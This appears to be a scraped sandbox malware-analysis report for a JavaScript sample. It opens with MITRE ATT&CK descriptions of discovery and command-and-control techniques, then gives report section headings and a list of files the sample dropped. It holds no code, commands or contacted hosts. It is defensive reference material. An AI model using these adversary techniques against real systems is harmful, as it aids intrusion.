Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 14444181562539231561.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2a07b790-36a6-4abb-85e4-deb80dc33207.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
14444181562539231561.js